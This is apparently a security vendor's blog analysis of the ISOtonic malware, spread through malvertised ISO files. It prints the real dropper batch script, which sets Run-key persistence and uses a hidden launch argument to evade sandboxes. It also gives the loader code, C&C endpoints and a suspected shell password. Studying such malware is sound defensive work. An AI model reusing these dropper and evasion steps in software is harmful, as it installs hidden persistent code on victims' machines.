Following Part 1 in which we uncovered the enormous scale and efficiency of this malvertising campaign, in this part we dig deeper into the malware itself. How it is packed, what it really does to your computer, the tricks used by those threat actors to maneuver both victims and security mechanisms — to realize what exactly this record breaking file, with millions of downloads, is all about.
When a bad actor is pushing its malware so efficiently, using malvertising campaigns with scales we haven’t seen before, there must be more to this than yet another malware or a stealer. Well, that’s true in a sense — as these kinds of campaigns are costly! So the point of sale for the bad actor here must also be unique (and with a decent price tag).
With ISOtonic, we see a real-life example of how the scale itself is the main point of sale. Not a unique zero-day exploit, an innovative injection technique avoiding detection on up-to-date OSs… just a simple, robust deployment method giving access to hundreds and thousands of computers around the world — open for sale to the highest bidder.
This is not a new malware strain (we’ve seen variants of it at least 3 years ago, including a “Youtube Downloader”) and yet we observe here a well-oiled machine that repacks, obfuscates, reuses, and avoids detection — giving this malware the dubious title of the most downloaded file ever!
ISOtonic, as the name suggests, is distributed as an ISO container, and quite a big one — with file sizes ranging from 120 to 160 MBs. The ISO format is used mainly as a container for portable storage images, like CD/DVDs (remember those?), and as such was very popular in past times as a malware distribution mechanism as it also shared the infamous “autoplay” feature of CDs. This was executing a selected file automatically when the CD was mounted. Fortunately, this feature was disabled by Microsoft many years ago, yet other features of mountable media are abused in our case here.
Starting on the malvertiser’s landing page, the victim is presented with the ISO file and asked to just double-click on it and then click on the install file:
The victim still thinks this is the file/movie/game they intended to view or download in the first place (one of the gimmicks of this malvertising network) yet this new tab is downloading the malicious ISO, giving it the filename you wished it had and makes sure you click on the right places.
Double-click the iso file and it actually mounts the ISO as a new drive and opens the folder showing ONLY the install shortcut, while the real malware files are hidden. Not showing hidden files in windows is the default configuration, as you can see on the left side here:
The install file is a shortcut to a hidden batch file resource.bat
that is the dropper shell script:
tar -xvf "app.zip" -C "%APPDATA%"
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Healthy /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Healthy /t REG_SZ /d "%APPDATA%\Healthy\Healthy.exe --eVprLRa56" /f
start /d "%APPDATA%\Healthy" Healthy.exe
In short — take the zip file, extract the entire evilness to the APPDATA folder (which is, again, hidden by default!), and then clean up and create a registry key to execute the malware on windows start as a service. To finish it all up — execute the malware immediately.
Note: The immediate execution command is just the exe file, while on the service configuration values it is added with a very specific command line argument — eVprLRa56
. A very useful trick to bypass malware analysis systems that check executable file activity on automated systems. Only on the next restart of the malware (or the device), it will be executed with the added param unleashing all its arsenal.
Once the malware is executed, all you get is this small tray icon with a shady heart icon on it and a simple click function that just fires up the default browser directed to MSN’s Health section (www[.]msn[.]com/health):
So yea, this is for sure a PUP (potentially unwanted program) because the victim wanted to download the latest Thor movie and all they got is this lousy wellness application 140MBs in size with just a simple tray icon navigating to MSN. This can make a great T-shirt, but no other good is going to come from this.
Before we dig into the backend of this malware, we must consider some of the basic and powerful mitigation techniques we’ve already seen used by this stage:
Energy.exe
Healthy.exe
Diet.exe
Prime.exe
Healthy.exe
files, on left and right, same in functionality and yet different in many other ways (diff marked in red):With all the above, it would be quite difficult for hash/fingerprint-based security methods to catch this operation.
So what it really does? This is something we can see from examining its network traffic as well as other activity on the system. First thing first — file dropping and process execution.
The malware main folder (extracted from the dropper’s zip file):
This looks familiar. The node.dll
, nw.dll
and v8
file — this looks like a web application (a web application in a windows application container). Once we follow the execution path we see that this is exactly that — an electron container webapp running on a Chromium v85 engine. One of the processes it spawns tells us also the temp location it drops all files needed for the app to run as well as the Chrome profile folder — the Chrome engine executed solely for this app:
C:\Users\<user>\AppData\Roaming\Energy\Energy.exe
--type=renderer
--no-sandbox
--file-url-path-alias="/gen=C:\Users\<user>\AppData\Roaming\Energy\gen"
--js-flags=
--expose-gc
--no-zygote
--register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm
--field-trial-handle= 1668,9849119413584835429,9500918924160674737,131072
--lang=en-US
--user-data-dir="C:\Users\<user>\AppData\Local\Energy\User Data"
--nwapp-path="C:\Users\<user>\AppData\Local\Temp\nw6036_1743594400" --nwjs
--extension-process
--enable-auto-reload
--ppapi-flash-path=pepflashplayer.dll
--ppapi-flash-version=32.0.0.223
--device-scale-factor=1
--num-raster-threads=2
--enable-main-frame-before-activation
--renderer-client-id=5
--mojo-platform-channel-handle=2672 /prefetch:1
Note that Chrome is not executing regularly. It uses —no-sandbox
, so there is no sandbox to protect your OS from code executing inside the browser. And why should there be? This browser is the malware playground and now it has full access to your OS. The actual malware code is deployed to the temp folder —nwapp-path
here:
Long story short, this is an electron application container — executing the open.html
page referring to many different logics written in JS and using numerous Node.js packages. Those packages are all in the node_modules
folder (responsible for most of the ISO file size) and covers almost all functionality you can think about — none of it relevant for opening a browser window directed to MSN’s health page, or Health in general.
Some of the most interesting packages:
rm -rf
implementation for node. Might this be the kill switch for all your computer data?On an electron packed webapp, the package.json is the manifest of what this application is and can do:
{
"name": "Healthy",
"version": "0.0.2",
"description": "Simple app for your simple purposes",
"main": "open.html",
"single-instance": true,
"nodejs": true,
"private": true,
"kan_is_watcher": false,
"dependencies": {
"axios": "^0.20.0",
"geoip-lite": "^1.4.2",
"moment": "^2.29.0",
"os-utils": "0.0.14",
"systeminformation": "^5.0.2",
"universal-analytics": "^0.4.23",
"weather-js": "^2.0.0"
},
"window": {
"icon": "./imgs/appIcon.png",
"title": "Healthy",
"show": false,
"frame": false,
"toolbar": false,
"width": 300,
"height": 47,
"min_height": 47,
"min_width": 300,
"position": "center"
},
"webview": {
"partitions": [
{
"name": "trusted",
"accessible_resources": [
"<all_urls>"
]
}
]
},
"webkit": {
"plugin": true
},
"chromium-args": "--ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --enable-widevine-cdm --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --widevine-cdm-path=widevinecdmadapter.dll --widevine-cdm-version=1.4.9.1088",
"js-flags": "--expose-gc"
}
We can see the main page loading here isopen.html
as well as permissions <all_urls>
and some requirements for node.js packages that are, again, clearly there to analyze the victim’s system.
The open.html
includes the entire CryptoJS
package embedded in the file (with probably some minor modifications) and a simple startup code to load the real application from a binary file. In this case, we see that our malicious actors are doing some efforts to keep their real intentions undercover — although using web technologies (that are relatively easy to reverse) they compiled their main javascript code to a binary file (now it’s a bit harder to reverse the code as it is already partially compiled) and load it to their app using the evalNWBin
method:
var isEncrypted = CryptoJS && JsonFormatter;
if (require("fs").existsSync("start.bin"))
{
nw.Window.get().evalNWBin(null, "./start.bin");
}
else
{
var startScriptElement = document.createElement("script");
startScriptElement.src = "./start.js";
document.head.appendChild(startScriptElement);
}
A quick strings analysis of the binary file start.bin
gives us some interesting bits of data:
Strings of Interest:
~andthatoneisevenmore!#%246~
taboolaRasa
UA-179065509-3
URLs:
https://feeds.feedburner.com/foxnews/latest https://elcomercio.pe/arcio/rss/
https://www.theguardian.com/international/rss
http://www.generaccion.com/noticia/rss/actualidad/ https://www.google-analytics.com/collect
https://didiserver[.]herokuapp[.]com/reportinstall https://didiserver[.]herokuapp[.]com/pgetappup https://didiserver[.]herokuapp[.]com/pping https://didiserver[.]herokuapp[.]com/pappk
https://didiserver[.]herokuapp[.]com/logupdate
Interesting Symbols:
EF3mR.bin
grunt***
CryptoJS3DES
TripleDES
encrypt
decrypt
axios post
requestKeyFromServer
opened_shell_thank_you_page
Shell
navigatorOS
computerNameC
processorArchitecture
execPath
tSpecialLoad
scheduleAppRestart
ShellopenExternal
universal-analytics
The start.bin
is the generic loader code that loads the specific malware code on the generated EF3mR.bin
file (or any other variants we’ve seen around). In turn, the actual binary of the malware is now calling home with POST messages encrypted using CryptoJS to the C&C server at didiserver[.]herokuapp[.]com
.
We notice many generic URLs for news RSS feeds from The Guardian, Fox News, and other local news sites. These are just decoys — sending many POST messages to legit news sites while hiding C&C server communications in between. They are also using POST instead of GET for those news RSS feed as well, just to keep it all aligned.
The C&C generates an encryption key on the first malware execution and returns it as a response to the POST request didiserver[.]herokuapp[.]com/pappk
(Using requestKeyFromServer
). This key is used for the rest of the communication to secure it. Next, we see large payloads (~250kb) coming from the C&C server — those are encrypted chunks of code, the real malicious code, that is loaded dynamically (tSpecialLoad
). This is another simple and powerful action to mitigate static analysis and be able to change the malware remotely as you wish. This is also a huge advantage of using webapp-based malware — just download some encrypted js script and load it. Easy-peasy.
Note we can clearly see the usage of a reverse shell (ShellopenExternal
) allowing the attackers to connect to the hundreds and thousands of bots they have created and control each one individually — loading more malicious code, exfiltrating data, or sending commands to do any malicious activity from synchronized DDoS attacks to crawling internal enterprise networks for more profit. What’s the password for this shell login? Might it be ~andthatoneisevenmore!#%246~
? Just thinking out loud here…
Oh, and there is also a UA-179065509-3
which is a universal analytic identifier the attackers use to track and get analytics on their deployments — just like any other website out there. This is a google service they also abuse here — clearly not following their policy.
ISOtonic is interesting not only in the sense it is being pushed intensively in malvertising campaigns, but also because it is pretty different in the landscape of malware with its use of web technology and enormous file size. We are used to seeing small-sized malware, injecting itself into system processes or bundled inside other software packages you install. Here, it’s a full-scale infrastructure for malicious activity, leveraging web technology that is so standard that there is no easy way to fingerprint it as malicious — after all, it’s a set of Chromium V85 and some node.js packages while the malicious code is dynamically loaded on command.
Update: VMware released their in depth analysis focusing on the malicious packages ISOTonic is distributing with this botnet infrastructure, as suggested by our research here. Interesting read on how easily ISOTonic is used for various bad activities from stealers, industrial espionage and pure destructive DoS — https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html
According to our estimations, even if only 5% of the people who downloaded the malicious ISO actually installed it, there are as of today at least 3,000,000+ computers in the US only! The Botnet army is spreading, mutating, pushed to victims' devices all around the world, and just waiting to be weaponized!
Don’t miss the full story on ISOTonic’s malvertising campaign:
ISOTonic Part 1: Malvertising at its Best (Worst!)